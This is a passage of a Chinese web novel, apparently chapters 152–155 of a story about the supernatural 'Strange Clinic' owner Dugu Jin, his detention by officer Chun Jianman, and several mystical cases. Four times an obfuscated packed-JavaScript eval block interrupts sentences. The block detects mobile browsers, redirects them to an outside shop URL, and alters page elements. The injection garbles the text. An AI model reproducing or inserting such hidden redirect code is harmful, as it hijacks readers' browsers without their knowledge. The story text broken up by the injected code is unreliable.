“还有,还有小斐,要告诉她这个好消息……”他虽然和女朋友分手了,但因为是这样的原因,态度也极其真诚,原本就坚持要跟他携手的女朋友非常理解他,虽然同意了分手,但一直都很关心他们。 “爸!爸!你总算醒了!当时到底是怎么回事?”真相到底是什么?! 这位老父亲虽然人醒了,可长时间的住院,让他身上还是哪哪都不得劲,尤其是,在被撞倒前,他也还是家里的顶梁柱,现在却像个纸片人,风一吹就能倒。 “儿子,我这是怎么了?为什么在医院?”他的声音极其嘶哑,说句话嗓子就疼的厉害。 那张已经发挥了作用,现在没用的纸巾还好好地攥在他手里,他拿着纸巾抹掉了自己儿子脸上的泪,“都多大的人了,怎么还哭成这样?” 这边一个还没安慰完,那边得到了消息赶过来的人也哭着过来了。 “妈!你看!爸醒了!醒了!” 这下,要晕倒的人变成了他的母亲。 “妈!你没事吧?!别太激动了,缓一缓,你身体也不好,不能太激动,现在爸好了,你可不能倒下,我们还要一起照顾爸呢。” “哎,我都醒了,怎么还要你们照顾,儿子你回去上班吧,这里有你妈陪我就行了。”父亲刚醒过来,根本不知道自己昏迷了多久,这些时间里又发生了多少变故。 但为了不让父亲担心,男人还是点了点头,跟他的母亲使了个眼色,先离开了。 “‘怪奇诊所’,‘怪奇诊所’,大恩大德无以为报!”他重新开车回去,想要看看他们还在不在。 在他进入“怪奇诊所”区域的第一时间,独孤尽就感知到了,直接在他面前开了个屏障,毕竟,现在这边的画面太过血腥,实在不适合他那种善良的人看到。 “记住了吗,自己去跟警察自首,把欠人家的赔偿如数给了去。”天狗踩在肇事者的后脑勺上,碾了碾。 “一条都不准忘,尤其是你自己明明看到了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689048|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却还是故意重重踩了油门撞上去这条,以及后面转移财产就是不给钱,希望对方没办法治疗致死这点,不能忘啊。”天狗嘱咐的都是肇事者最终供出来的内容,还有一些早年时的犯罪行为,有些因为是小动物,无法讨回公道,但有些是人,就该对受害者进行相应的赔偿。 “我一条都不会漏。”肇事者点了点头,他现在就希望警方赶紧把他抓起来,别再让他留在这里经受非人的折磨了。 他丝毫没有悔改之意,即便是到了这一刻,他也只是希望自己能好过一些,而从未想过他会经历这些完全是因为他之前对生命毫无敬意,无论是什么生命,他都视若草芥。 这些在他身上出现的伤痛,是他用同样的手法让那些生命所被迫承受的。 天狗去跟独孤尽复命时,是有些挫败的。 “主人,他就是不悔改。” “乖,天狗乖,他是坏人,我们是好狗狗,不要因为他难过。”独孤尽揉了揉天狗的脑袋,这些犯罪者的恶心心理他已经再熟悉不过了,没有悔改之意很正常,如果他们有一点点的同理心,都不会走到这一步。 “春警官,现在事情解决了,我可以跟你回局里了。”独孤尽两眼巴巴王者望着春渐满,做出了一副非常乖巧的样子。 “主人,等等,我有事还没说。”天狗是带着事情出来的,否则他还在那儿看着分所呢。 独孤尽歪了歪头,难不成分所那边出事了? “莫辰是个挺负责也挺有天赋的娃,分所一直开得挺不错,但前段时间有些东西影响了我们,我……被他丢出来了,我那会儿也受影响,赌气没回去……”天狗实在不想说,它装成了一只真正的小狗,摇尾蹭着每个善良的人,让他们喂它吃好吃的。 “但我不知道怎么回事,后来能量就越来越弱,连能力都用不出来了,等我发现的时候,我就变成了一只普通的小狗……”天狗有些不好意思,它别开了脸,“但就在刚才,碰见主人之后,我的能力又回来了,主人,我不想去盯着莫辰了,他一个人也能行,我想回去了。” “那你要跟我上天吗?”独孤尽想的却是,如果他哪天真能回去了,那些神兽应该是都要跟他去天上的,只是……它们都习惯了人类世界了,根本离不开网络,离不开这些丰富多彩的,可能有大部分都不愿意跟他回去,他到时候真的要一言堂吗? “上天?主人是不是忘了我本来就是天狗,原本就在天上的,主人下凡我才跟着下来的,主人回去我当然要回去。”天狗不愧是小狗,还是很忠诚的。 得到了肯定的答案,独孤尽心理的顾虑也少了许多,要是到时候他非得踩缝纫机,那他还是回天上吧,大不了等春渐满去探望他的时候,再下凡来。 春渐满不知道独孤尽心里在想这些,只是盯了他一眼,“说完了吗?跟我回局子。” “遵命,我的警官大人。” 152. 每个人的缘法 独孤尽虽然被春渐满带回了局里,可谁都不敢关“怪奇诊所”的当家,只能由春渐满亲自看管。 往常都是看罪犯坐在审讯室里,虽然他自己也来过几回吧,不过那时候都知道自己不会被制裁,可这次不一样,他确实是纵火了。 这种等待审判的感觉还真有点儿不习惯。 独孤尽抬头看了一眼监控,冲那边露出个笑脸,“我什么都招,早点儿结案吧。” 很快,监控室的同事就找上了春渐满,“春队,您要不还是去看看?” 春渐满才没那个功夫,把人扣着是程序,他现在正奋笔疾书整个事件的来龙去脉,必须让上面明白独孤尽的选择是迫不得已,而不是故意纵火。 同事见春渐满连头都没抬,也不好意思再打扰他了,灰溜溜回到了自己的工作岗位上。 “怎么回事?认错态度这么良好也不见?” “你懂什么,春队自然有他的考量。” 审讯室自然是关不住独孤尽的,他很快就把脑袋低了下来,假装自己睡着了,实际上魂体已经脱离了肉身,游荡到了春渐满身边,静静坐在他对面看他认真办公。 “看够了吗?”春渐满毕竟已经不是之前那个单纯的人类了,他现在作为神木,轻而易举就捕捉到了独孤尽,从他飘过来的第一时间就发现了。 只不过没拆穿,他也想看看独孤尽会做什么。 结果独孤尽什么都没做,既没以为他看不见就对他胡作非为,也没捣乱,只是安安静静坐在他对面一直盯着他。 “看不够,怎么都看不够,满哥,什么时候发现我的?”独孤尽被点穿了一点儿都不惊讶,反而兴致勃勃凑近,“让我猜猜,是不是从一开始就发现我了?” “好啊,满哥偷看我这么久。”独孤尽直接倒打一耙。 “谁偷看你了,别打扰我,还没忙完。”春渐满点了点手上的文件,他已经把报告都整理好打印了出来,但还没完成最后检查。 独孤尽看了一眼报告,低头时呼吸喷洒在春渐满耳边,直接把他的耳尖染红了。 “那满哥,我就先回去了,人我给你留在局里,但我还要去处理很多事。” “去吧,记得回来,别让人以为你死了。”春渐满可不想晚点同事惊恐地跟他汇报独孤尽在审讯室意外离世。 “放心,我那身体看起来就只是睡着了,呼吸、体温都正常,即便被发现了,也就是送我去就医。”独孤尽眨了眨眼睛,临走时又趁春渐满不注意在他颈侧轻轻留了个印记。 独孤尽离开了好一会儿,春渐满才缓缓抬手摸了摸自己的颈侧,那里仍旧在发烫。 他什么时候这么容易被影响了,曾经的训练都白费了一样。 春渐满咬了咬牙,努力把注意力重新集中,可下一秒就被外面吵闹的声音给打扰了。 “劳烦您帮忙查一查路边的监控吧,我真碰到了‘怪奇诊所’的当家,他救了我们一个家庭,我想跟他当面道谢!”是先前那位受害者,他赶回来后,马路上早就没了人影,只能转头来警局求助。 “这位先生,如果您真的受了‘怪奇诊所’帮助,可以在它的主页下留言,告诉它自己的感激。”警方也有专门的公关部门,听到声音立马过去给予解决方案。 他们总不能说这位“怪奇诊所”的当家现在被他们的春队关在审讯室吧。 “可我想当面感谢!”对方还是不依不饶。 “您想,如果他真的想要您的感谢,肯定会留在原地等待,但是他离开了,这说明什么?肯定是不打算让您当面道谢,按照您刚刚叙述的,您还是回医院好好照顾家人,这样就是对“怪奇诊所”伸出援手的最好回馈。” “好……好吧,那我晚点去网上跟他道谢。” 总算把人劝走,众人这才看到已经走了出来的春渐满,“春队!” “春队,您要不还是把人放了吧,不说那位神通广大,我们不一定能关得住,就算关住了,也有违民心……”经此一事,很多人都对独孤尽有了由衷的感谢,在他们心里,独孤尽已经不是一个普通的人类了。 那人类的规则对他来说,自然不适用。 “您想,如果没有他周旋,我们现在还在被黑雾影响,社会也不可能这么快就变回正常。” 同事劝的这些春渐满何尝不知道,而且他才是那个最了解的。 但他必须堂堂正正给独孤尽出一个通报,清清楚楚告知民众“怪奇诊所”的真面目。 怪力乱神的东西影响不好,可“怪奇诊所”做的,皆不是怪力乱神的混账事。 他要好好想想,仔细想想。 独孤尽不知道他的满哥为他考虑得如此之深,他的魂体暂时瞬移到了众玄门所在的酒店,找上了陆烨修。 “事情解决了,剩下的就只有一些事要善后了。” “你能不能不要这么神出鬼没的,太吓人了,下次要突然出现也在门外出现,记得敲门!”陆烨修在酒店里刚准备脱衣服洗个澡,就被突然冒出来的独孤尽吓了一跳。 “还有,你这什么情况,怎么有点儿透明?”魂体的独孤尽看起来不像有□□时一样结实,有那么一点儿半透明。 “这件事说来话长,没工夫细说,你先告诉我,玄门那些人是不是还全留在酒店里?有谁擅自离开了的吗?”独孤尽摆了摆手,不打算跟陆烨修细讲他火烧别馆的事。 “都在,一个都没回去,之前你不是让曾钰他们过来找我,去让他们销毁蜡烛阵吗?派出去的人现在也都已经回来了。” “不得不说还是人多力量大,办法也多,那阵法其实很容易寻找,也容易破。” “后来我们都感觉到黑雾消失了,那感觉很奇异,就是一瞬间,思绪变得格外清明,明明以前没黑雾的时候也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689049|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己这么聪明,被黑雾影响了一段时间一直处于浑浑噩噩中,反复对抗,现在黑雾没了,根本不用对抗就能让自己恢复清醒,这种感觉太奇妙了,太舒服了,真希望一直保持这样。” “以后应该都会如此,还要你通知大家都去会议厅,我有事要跟大家说。”独孤尽说完自顾自坐在了床上休整。 “你就用这种样子去见他们?”陆烨修不能苟同,之前独孤尽可是打扮得特别正式,现在不说穿着吧,连人都不是全乎的。 “怎么?难不成他们还能把我当成野魂直接收了不成?”独孤尽眯起眼睛,身体放松往后躺了下来,审讯室的椅子真不是给人坐的,他背都疼了。 等玄门众人怨声载道再次聚集到会议厅时,见到的就是半透明的独孤尽,他们有点儿不敢认。 “您……为了解决黑雾变成这样了?”有玄门张了张嘴,那叫一个语不惊人死不休。 “有点关系吧。”不过关系不大。 “您大义!”这下玄门众人是真服了,毕竟先前只有几人同这位“怪奇诊所”的当家去了,他们这些留在这等都是坐享其成的,说得好听那叫集思广益,提供了不少经验,说得难听,其实只动了动嘴皮子。 “我知道你们之中有人多多少少看我不爽,或者说看‘怪奇诊所’不爽。”独孤尽开门见山,“但‘怪奇诊所’基本没抢过你们的生意,也从不与你们有交集,最多也就是你们没管教好的门生做了一些坑蒙拐骗的事,被我们给指明了,挑出来了。” “这点仇犯不着结怨这么深吧?”独孤尽歪了歪脑袋,原本的他可能不太适合做这个动作,可现在他是半透明的,做这个动作时看起来竟有几分可爱。 “还有,我不清楚你们之中是否有人想要长生不老,或者让人起死回生,但这些事都是违背天道常伦的,必不能成,我奉劝一句,别再白费心思了。”独孤尽可不想自己之后回了天上还得操心凡间事,赶紧给大家打预防针。 “能不能得道成仙,那是每个人的缘法,强求不来,生而于世,只求问心无愧,多做良善之事,但别做愚事,该让恶人受到惩罚就该出手。”独孤尽丝毫不知他现在说的这些让各玄门有多震惊。 这些话在旁人说来,可能也就是些心灵鸡汤,可独孤尽说出来,像是在普度众生,格外让人信服。 “‘怪奇诊所’应该存在在每个人身边,触手可及,它不该只是我一个人的,它该约束任何一个想要做恶事的人,是悬在恶人脖颈处的一柄利剑,也是常人触手可及的一柄宝剑,随时都可以用来保护自己。”独孤尽就差说,只要你们做的也是利国利民的事,大可直接把“怪奇诊所”的名头拿去用。 这番话当真让人振聋发聩,原本还心有芥蒂的玄门全都沉默起来。 陆烨修也坐在下面听,他忽然觉得站在台上的独孤尽很遥远,很遥远,好像即将远去,再也不见。 153. 奇怪的新生命 这场会议进行了很久,久到众人都忘却了时间,只觉得自己的灵魂都被净化了,可见独孤尽还是挺擅长忽悠人的。 经此一役,“怪奇诊所”的名声算是彻底亮出去了,任何做好事的人都能用,而若是有人用“怪奇诊所”的名声来做坏事…… 有谁敢顶风作案,在明知道“怪奇诊所”这般霸道不饶人的情况下,谁也不敢冒这个险。 “你之后有什么计划?”陆烨修拦住了想要离开的独孤尽,虽然玄门都被独孤尽给糊弄过去了,但陆烨修根本不信这些义正严辞的东西,毕竟他早就认识独孤尽了,知道他的咸鱼属性。 “先让天脉门把他们的叛徒领回去,再把薄俊名的事解决掉,总要给国家一个交代。”独孤尽这回还真没想再偷懒,毕竟……他想了想,可能自己在人间的日子也不多了,总要好好享受一下最后在人间的生活,往后他可是要回到天上去过神仙日子了。 那可是真正的神仙日子,常人想象不来的,当然,现在的他也想象不来,所以充满了无限美好的幻想。 薄俊名再次见到独孤尽的时候,神智已经恢复了清明,他先前似乎也受到了黑雾影响,毕竟疯癫痴狂,可这回,即便身处黑暗之中,他也很冷静,“要把我交给国家了吗?” “这还有点那位大人后人的感觉,是要把你交给国家,你还有什么想说的吗?”独孤尽满意地点点头,如果他能重新走上正道那也是人类之幸。 “这回是我输了,但我不信我会一直输下去,失去我父亲是你们的损失,不让我复活父亲更是你们的损失!”薄俊名语气中带着狠厉,国家不可能对他怎么样,毕竟,他做的这些事,都是玄学方面的,抓不到他什么证据和把柄,就无法将他正法。 “你觉得我没证据?”即便薄俊名没说出来,独孤尽也能从他的神情中猜到,即便他已经掩饰过自己的表情。 “我不信你能让国家相信这种事情。”薄俊名仍旧是自大的,他觉得自己做不到的事情别人就做不到。 “我自然有我的办法,不过这点就不用跟你详说了。”独孤尽见薄俊名实在无药可救,不打算再费口舌。 独孤尽去见国家代表人的时候,没突然出现,他非常礼貌地打了通电话,先预告了一下,才瞬移过去,但即便如此,还是险些被当成危险人物给打杀了。 “小同志很有能力啊,你说的人没带来?” “这就把他送过来,只不过他说,不信我能拿出证据,我想,我的出现就是最好的证据。”确实,他的瞬移就是最好的玄学证明。 独孤尽动了动手指,薄俊名也直接出现在国家代表人面前。 “你长得和你父亲很像,可惜了。” “难道您就不想让我父亲复活继续为国家出力吗?!”薄俊名仍旧不死心,他相信,在绝对的利益下,任何人都有可能动摇。 “薄老为国家奉献了一辈子,该好好休息了。”谁料,他得到的竟然是这样一句话。 “年轻一辈会继承他的精神,不断崛起,而不是像你这样,用极端手段让他生后都不得安生。”往大了说,薄俊名都是不孝。 谁家好人会把去世的祖先从坟墓里挖出来,让他继续奋斗啊。 这祖坟该气得冒烟。 “我……我没有父亲的天赋,我做不来……”薄俊名颓然地跌坐在地上,但凡他有父亲的天赋,他何尝不想靠自己的能力去为国家做贡献,可是他从小就没有这样的天赋,加之父亲从小就对他疏于管教,基本上见不着人,都在进行保密项目,没办法,他都是去玄门里蹭东蹭西长大的。 “你可以,任何岗位都需要有人,你做不到你父亲的高度,也能做其他的为国家奉献。” 独孤尽静静站在一边看新型洗脑,虽然他觉得每句话都没问题,但是作为一条咸鱼,他是不会屈服的,他就是要过舒坦的小日子。 可能是独孤尽避开得太明显,让国家代表人多看了他几眼。 要是所有人都像这个年轻人一样上进,为国为民就好了。 独孤尽根本不知道国家代表人是这么看他的,否则他一定脚下抹油立马逃跑。 独孤尽一直等到他们做完思想工作,才打了个哈欠道,“我说话算话,黑雾已经解决了,可别再追究我的其他问题了吧,比如……放火烧房这件事。” “这件事我已经收到报告了,怎么,办理这个案件的警察没跟你讲?” “我知道,只是没想到这么快就报告上来了。”独孤尽没料到的是春渐满竟然速度这般快,看来他的满哥真的很担心他。 “别急着走,我这边还有事要交给你。” 独孤尽不知道自己刚想开溜的心思是怎么被发现的,但既然国家代表人都开口了,他也不好驳了对方的面子。 独孤尽耐着性子听完,才发现人家要交给他的居然是玄学方面的事,说是他夫人最近失眠加重,想让他看看是不是有什么这方面的问题。 独孤尽听完特别想说,该去看医生就去看医生,哪有来玄学这边治病的。 他虽然现在会治愈术,但是不能助长这种风气,否则到时候街上就该都是承蒙拐骗的了。 “这我真治不了,您应该也有关注过网络上关于‘怪奇诊所’的消息吧,‘怪奇诊所’只能治疗除身体病症外的精神方面的病症。” “正是关注了网上的消息,我才知道,‘怪奇诊所’现在拓展了新业务,连身体病症也能治疗了。”国家代理人似笑非笑看着独孤尽。 “不可能?!”独孤尽恨不能现在就钻到网上去看到底是谁造谣。 国家代表人不慌不忙,脸上还带着几分笑意,让助手把网上的言论拿过来给独孤尽看。 独孤尽这一看才发现,原来是之前车祸受害者的家属在网上大肆宣扬他的善举,这下算是捅了马蜂窝了,他的主页下无数人都在请求他治疗疑难杂症,请求他救自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689050|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的家人一命。 这种请求多了,避免不了谩骂,因他迟迟不现身,还有好多人骂去了“怪奇诊所”分所那边,莫辰实在有点儿难以应对,他的粉丝也在涨,可涨的都是黑粉。 因这次的情况,黑粉好像都不怕“怪奇诊所”了,纷纷跳了出来。 网路会遗忘那些恐怖的事,但是那些曾经冒充“怪奇诊所”的人却不会忘记曾经的恐惧,好多人怂恿他们出来说话,可他们根本不敢,也不敢蹭这种热度。 那些人大可叫嚣,反正“怪奇诊所”不可能法不责众,绝对会让每个口嗨的人都得到教训。 独孤尽抬眸看了国家代表人一眼,现在要他再说自己不会治疗□□,就实在说不过去了。 只不过,他得谈谈条件,“治疗可以,但仅此一次,此后,我有其他计划,应该不会再停留在这,你们也别想来找我,找不到的。” “还有网上的这些,我要他们都为自己的所作所为付出代价。” “我答应你。” “你明白答应我的意思吗?以后,哪怕是你需要让我来治疗,我也不会来。”独孤尽说出这句话后,立刻被国家代表人身边的助理给呵斥了,“大胆!” “既然谈不拢,哪就不谈了,我走了。”现在在独孤尽的眼里,无论是谁,都是凡人,他不欲与凡人计较这些。 “旁人说的不算,我已经答应你了。”国家代表人只淡淡看了助手一眼,那名助手就被人领了下去,重新换了一位上来。 “走吧。”独孤尽伸手触碰上了国家代表人的胳膊,在他的眼神压制下,这回总算没有人冲上来对他大打出手了。 感知到那位夫人的所在地,独孤尽直接抓着国家代表人的胳膊一起瞬移了过去。 第一次感受瞬移,国家代表人的脸色也有些惊惶,但很快就冷静下来,他朝自己的夫人解释了几句,对方就面带微笑朝他伸出了手。 独孤尽被迫跟人进行了握手礼,他已经很久没这么正式的社交了,一时间竟有几分尴尬。 “请您放松身体,不要产生抗拒感。”独孤尽说了几句充满仪式感的话,实际上,对方什么都不用做,他就能直接让对方恢复健康。 独孤尽看了国家代表人一眼,他轻轻抬手,将治愈能量笼罩在她身上,没过多久,能量就被消耗了。 好像……有点儿不对劲…… 独孤尽揣着怀疑往前靠近了些许,“您夫人……似乎……” “夫人有什么事吗?还请您大显神通,尽力医治。” “似乎怀了新生命……”独孤尽更加尴尬了,他虽然能治愈别人,可他这再治愈下去,得把人家身体里的不和谐因素,这个宝宝排除出去了。 “还是找普通医生给您夫人调理吧。”独孤尽嘴角抽搐,他实在不懂,这种事情,再寻常的医生都能看出来,怎么还要找他。 不过……这孩子倒是真有点怪,要不他再多看两眼? 154. 一切归位 “稍等,让我再瞧一眼。”独孤尽谨慎地重新让自己的感知力覆盖过去,过了好一会儿,他才抿了抿唇,“夫人这胎,怀的可能不是孩子。” “你这是什么意思?!”这话彻底惊到了国家代表人。 倒是他夫人表情平平,好似早就知道会如此一般。 独孤尽观察了一下两人表情,他顿了顿,“不知可否单独跟夫人聊两句?” 这是很危险的决定,毕竟留一个能力这么强的人单独和自己的夫人在一起,即便替换了人,他都发现不了。 “您直说吧,我没什么需要瞒着他。”倒是女人先开了口,她淡淡看了独孤尽一眼,先前还比较急切,可现在听到独孤尽得出的结论,反而冷静了。 “夫人早就猜到了?” “猜到了些许,原本,我这个年纪就不该再怀胎,只不过……我从未生下男孩,便总是祈祷着,想着,如果能再有个男孩便好了,但我并没寻求其他玄学术法,这孩子恐怕是下面的人知道了我的心思,擅自为我弄来的。”她叹了口气,“是我监管不当,只是这东西现在该怎么办?” 如果不是孩子……那她会不会有生命之忧?生出来的又会是什么东西? “夫人想等它足月生出吗?”独孤尽征询孕妇的意愿,如果对方想生,他可以让对方顺利生产,但如果对方不想要,他倒是也能强行将这东西逼出她体外。 只不过强行逼出可能会出些意外。 痛苦是少不了的,这点他希望他们能明白。 “如若足月生产,可会危害我夫人的性命?”国家代表人有些焦急,说到底,刨除这层身份,他也是个为人丈夫的,总会担心自己的夫人。 “夫人也想足月生产吗?”独孤尽又专门问了一遍。 “如果可以,我也想把它生下来,不管是什么。” “但夫人生下来后,是不能把它带在身边的,此子,必须给我。”独孤尽已经百分之八十确定了这东西的身份。 估计是谁好心办坏事,把邪魔给请到她肚子里去了,生产的时候必须有他护持,且生后,这邪魔必须由他看管,否则很少有人能压制住他。 “我想问一下,是跟哪吒一样吗?”不知为何,夫人竟想到了近期大火的元素,她的眼里竟然升起了些许期待。 “有些相似,但并非相同,但它既然不是人类,就不该由人类抚养,否则终成大祸。”独孤尽言尽于此,他在夫人的头发上做了个标记,只要这边有任何异动,他都能第一时间察觉赶来。 独孤尽在两人的盛情邀请下,都没赴宴吃上国宴,他还急着回去见他的满哥,他有好多好多话要跟他的满哥说,但……此时当务之急,要把他画里的那些家伙都送回现实世界。 独孤尽回到画里的时候,神兽们已经跟这里的人类相处自然,这里的人类显然跟普通世界的人类不一样,他们有了更强的韧性,面对稀奇古怪的事也都见怪不怪了。 别说神兽了,就算是怪兽,估计见到的第一眼,他们都不会放声尖叫。 “虽然让你们在这里建设了很久,但天下没有不散的宴席,你们该回去了。”独孤尽的话简直是晴天霹雳,大家不想接受这样的安排,毕竟,他们把所有的精力都用在了建设新家园上,可现在建设得温馨美好了,又要剥夺,之后他们将再次变成流民…… “你算什么神,随意安排我们!”有人发出质疑。 “难道你们不想回到曾经熟悉的家园吗?”独孤尽只是反问了一句,在那个世界里,他们大可找回自己原本的家,而不是像在这边一样,无根浮萍一般。 “就算想,也不是你随随便便就替我们决定了的。” 独孤尽嘴角微抽,他看了一眼被乌压压人群占满的画,大手一挥,直接将这些人送回了原来的世界。 他们难不成认为他有耐心跟他们解释,再等他们一个个同意? 是不是想太多了,真正的神明,连问都不会问他们一句,雷霆雨露皆是君恩,同样,也都是天意。 当时把人一个个搜罗过来有多繁琐,现在送走就有多爽快。 霎时间,画里就变得格外空旷,按理说,原本画里的世界就可以无限延伸,即便把整个世界装进来都绰绰有余,但他并没把这个世界建得有多大,因为太过空旷会显得格外寂寥,但现在,这些人走了,他们所建设的东西却留下了,依旧占着画里的空间。 他甚至有些舍不得回收,将一切清零。 这些道路、房屋……一切的一切,都是他们重新努力生活的证明。 也是他们曾存在过这里的证明。 反观那些被独孤尽重新又丢回原本世界的人,大家全都集中在一个街道上,面面相觑,确实这里是他们熟悉的世界,可他们已经重新建立了友谊,也胜任了新的工作,且大家相处的都很不错,现在回来原本的世界肯定是要回到自己原本该在的地方了。 这种不舍,不是一般人能想象的。 “刘哥……我还想跟着你干,以前的工作我要辞掉,以后跟着你干行吗?” “我也想你们都跟着我,我们继续在一起做大做强,可世界不一样了,规则也不一样了,在那边,我们的食物获取方式跟这个世界截然不同,可以说,在那边生存的成本完全比这边低……” “可在那种陌生的世界我们都能从零开始,团结协作达成和谐共处,在这边怎么就不行了?” “对啊,刘哥!我们绝对相信你!” 独孤尽不知道这波人最后是怎样的结局,他也不关心,能在自己力所能及的范围内帮他们暂时保住性命就已经是他在做好事了,人要靠自己,而不是总想着别人来帮忙。 但他不是人,所以他可以想着让别人来帮忙。 独孤尽找到了九尾狐,“现在大部分神兽都回来了,可画不见了,到现在也没回来,你说,该派谁去找?” 九尾狐当然想揽下这个活,虽然现在这边也有甜品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689051|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店,也有宠物店,她完全不用去现世享受这些,但她在现世还有一些朋友,也不知道她们在这次劫难中有没有幸存下来,她想去会会。 “阿尽,这还用考虑吗?当然是交给可靠的我喽。”九尾狐甩甩尾巴,眨巴着她发光的眼睛,试图使用魅惑术。 “你想对我用魅惑术?”这回轮到独孤尽困惑了,他可一次都没中过招。 “习惯了,忘了忘了,阿尽,就让我去吧,好不好?” “你跟天狗一起去,它能给你带带路。”独孤尽立刻指定好了名单,在找东西方面,非天狗莫属。 就在独孤尽还在这边派神兽去寻画的时候,画已经率先找上了春渐满。 起先春渐满并没察觉异常,但当洗手间的镜子开始出现裂纹,里面显示出血红文字后,他不得不重视起来。 “春老师,您可一定要救我,虽然我不是您的学生,也没跟您说过几句话,但我是因为您才被迫出的空间,我现在回不去也是因为您。”画非常委屈,它是唯一一个不能显化成人的,但它能依托其他物品作为载体。 要找幅空白的画困难,可镜子随处可见,只要春渐满去卫生间,它就能让春渐满见到它。 “你不是有不能开口说话的禁制?”春渐满有点不习惯这么话唠的画。 “反正现在主人也不在,你不说我不说,他也不会知道,当务之急是请您赶紧把我送回去。”画哭笑不得,它应该是有史以来最惨的法器了。 “我要如何送你回去?”春渐满并没打算这么快回独孤尽那边,他手里还有些事情没处理完。 “把这块镜子拆下来,直接带我回空间就可以。” “我想想办法吧。”春渐满现在是有能力将镜子卸下来,可到时候局里莫名其妙少一面镜子,而且是他进洗手间后少的,有嘴都说不清。 “你只能附身在这面镜子上?随身镜能附身吗?”春渐满没多费脑子,就想到了个办法。 “也行,我没试过,但应该是一样的原理。” 春渐满出了洗手间,直接离开了警局,找了一家杂货店,买了一面小的随身镜,这种镜子通常是女生用来补妆的,也因此春渐满买了之后直接揣进了裤兜,生怕被人看见。 重新回到洗手间后,他就让画尝试把自己附身到这面小镜子上。 画一开始极度不情愿,在春渐满的威胁下,勉强附了上去,说时迟那时快,春渐满刚打算合上镜子,找个时间把它带回去,九尾狐就被天狗带着从天而降,天狗更是一口就咬住了那面随身镜。 它的咬合力毋庸置疑,险些就把镜子咬碎了,画疼得发出一声惨叫,“啊!快松口你个疯狗!” “春老师,这东西就交给我们带回去吧,您什么时候回来?我们都想您了。”天狗讲话特别好听,其实别人想不想春渐满它不知道,但它因一直在外辅助分所,已经很久都没见过春渐满了,上次见面还有任务在身,实在没空叙旧,它是真想了。 155. 千万年前就已定情 “我跟它一起回。”春渐满看了眼被天狗叼在嘴里的镜子,决定还是亲自护送画回去,别晚点出了意外还要内耗。 “那太好啦!春老师,我们一起回去!”天狗一下就蹦到了春渐满的怀里,它现在小小一只,别提有多可爱了,当然要除去它嘴里叼着的镜子。 画简直慌张死了,它生怕天狗一不小心直接给他咬碎了。 春渐满还没忘了要怎么去独孤尽的世界,他轻车熟路调动念想,直接瞬移到了画的空间。 画作为法器,回到了自己的地盘,瞬间强大起来,它挣脱了天狗,重新挂回了墙上。 “你不用去跟你的主人报道?”春渐满觉得画此举可不是什么明智的行为。 “不了吧,主人应该第一时间就感应到我了。”画已经开始泛潮,生怕被问责。 独孤尽确实瞬间就过来了,只不过他不是来找画的,他直奔春渐满,“满哥,你过来了,我这边还没忙完,耽搁了,我马上回局里。” “你的魂体能离本体这么久?”每次独孤尽都能出乎春渐满的意料。 “先前可能不行,可现在,我觉得能量充沛,本体那边也有足够的能量保持活着的状态。”很多时候魂体分离出来最危险的是本体,毕竟本体需要能量来维持生存,否则就是一具尸体了。 但独孤尽也不知道自己是不是真的天赋异禀,他先前还有所顾忌,不能撒野,可现在已经任由他造作了。 “先去把本体回收过来。”春渐满仍旧不放心,反正他已经把报告提交上去了,上面的反馈也下来了,已经让独孤尽只用交罚款,把破坏建筑造成的损失补上就行。 已经提前得知自己被赦免了的独孤尽丝毫不惊讶,他乖乖去了局里,把身体一起带了过来,才坐到了春渐满对面。 他们的面前正是那幅开始假装自己是哑巴的画。 “先前不是挺能说的吗?现在怎么又装傻了。”春渐满毫不留情地拆穿。 他们现在必须搞清楚独孤尽情劫,否则他一直完不成就一直要逗留在人间。 “满哥,伤心了,你这么不想我呆在人间吗?”独孤尽故作难过,还装模作样抹了两滴泪。 那两滴泪其实是困出来的,现在所有事件都告了一段落,他就想好好睡一觉,睡得昏天黑地才爽。 